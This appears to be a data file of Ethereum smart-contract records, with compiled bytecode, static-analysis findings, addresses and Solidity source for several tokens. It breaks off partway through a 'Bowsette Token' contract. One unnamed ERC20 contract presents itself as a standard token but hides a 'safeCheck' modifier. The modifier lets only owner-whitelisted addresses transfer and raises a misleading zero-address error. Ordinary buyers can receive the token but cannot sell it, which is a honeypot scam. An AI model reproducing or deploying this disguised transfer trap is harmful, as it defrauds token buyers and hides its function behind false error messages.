fffffffffffffffffffffffffffffffffffffff16141515611b7b57600080fd5b7f4257d2c0636fcb18400c4730377737d11abea84e73b749fed6a083315677295760045482604051808381526020018281526020019250505060405180910390a18060048190555050565b60095481565b60055481565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c3357600080fd5b611c3c81611cd5565b50565b600b5481565b6000600e80549050905090565b60008183019050828110151515611c6557fe5b80905092915050565b60008183811515611c7b57fe5b04905092915050565b6000828211151515611c9257fe5b818303905092915050565b600080831415611cb05760009050611ccf565b8183029050818382811515611cc157fe5b04141515611ccb57fe5b8090505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611d1157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b815481835581811115611df657818360005260206000209182019101611df59190611dfb565b5b505050565b611e1d91905b80821115611e19576000816000905550600101611e01565b5090565b905600a165627a7a72305820e29e26b1b82216323e5472967b1012389dbc7eaddfd5ceea14b19d15df41ba180029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 2,470 |
0x8b1cdfe63b9b3f9c8a1d8e6daddcb96f6cb67029
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_SLM(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c1f9686c7b7f29c5c0c54a1040cf66d7b5715104310d9b98b8ba04458e278bed64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 2,471 |
0xa21e6967ac7bc69527d835c5ce0682588cb8a09d
|
/*
Welcome to Bowsette Token!
Join our telegram community at t.me/bowsettetoken
Follow our twitter at twitter.com/bowsettetoken
Last but not least, check out our website at bowsettetoken.com
Happy shitcoining!
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BowsetteToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Bowsette Token";
string private constant _symbol = 'BOWSET️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
